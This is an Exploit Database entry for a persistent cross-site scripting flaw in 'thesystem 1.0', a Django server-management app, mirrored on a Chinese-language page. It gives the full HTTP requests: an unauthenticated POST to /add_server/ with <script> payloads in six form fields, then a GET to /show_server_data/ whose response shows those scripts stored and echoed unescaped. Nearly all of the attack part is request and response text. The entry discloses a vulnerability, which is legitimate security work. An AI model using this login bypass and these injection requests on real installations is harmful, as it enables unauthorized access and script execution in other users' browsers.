thesystem 1.0 – Cross-Site Scripting

• Exploit Database
• 13 阅读

• 作者： Anıl Baran Yelken
  日期： 2019-09-30
• 类别：

  • webapps
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/47440/

• # Exploit Title: thesystem Persistent XSS 
  # Author: Anıl Baran Yelken 
  # Discovery Date: 2019-09-28 
  # Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
  # Software Link: https://github.com/kostasmitroglou/thesystem 
  # Tested Version: 1.0 
  # Tested on OS: Windows 10 
  # CVE: N/A 
  # Type: Webapps 
  # Description: 
  # Persistent XSS after login bypass(login_required didn't used) 
  
  First of all, I send a request add_server 
  POST /add_server/ HTTP/1.1 
  Host: 127.0.0.1:8000 
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
  Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
  Accept-Encoding: gzip, deflate 
  Content-Type: multipart/form-data; boundary=---------------------------3902153292 
  Content-Length: 1205 
  Connection: close 
  Referer: http://127.0.0.1:8000/add_server/ 
  Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 
  Upgrade-Insecure-Requests: 1 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="csrfmiddlewaretoken" 
  S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="operating_system" 
  <script>alert("kale1")</script> 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="ip_address" 
  127.0.0.1 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="system_port" 
  22 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="system_owner" 
  <script>alert("kale2")</script> 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="system_username" 
  <script>alert("kale3")</script> 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="system_password" 
  <script>alert("kale4")</script> 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="system_description" 
  <script>alert("kale5")</script> 
  -----------------------------3902153292 
  Content-Disposition: form-data; name="server_name" 
  <script>alert("kale6")</script> 
  -----------------------------3902153292-- 
  
  After I send a request show_server_data 
  GET /show_server_data/ HTTP/1.1 
  Host: 127.0.0.1:8000 
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
  Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
  Accept-Encoding: gzip, deflate 
  Connection: close 
  Referer: http://127.0.0.1:8000/data/ 
  Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977 
  Upgrade-Insecure-Requests: 1 
  
  And I showed persistent XSS: 
  HTTP/1.1 200 OK 
  Date: Sat, 28 Sep 2019 09:51:04 GMT 
  Server: WSGIServer/0.2 CPython/3.5.3 
  Content-Length: 437 
  Content-Type: text/html; charset=utf-8 
  X-Frame-Options: SAMEORIGIN 
  (23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28')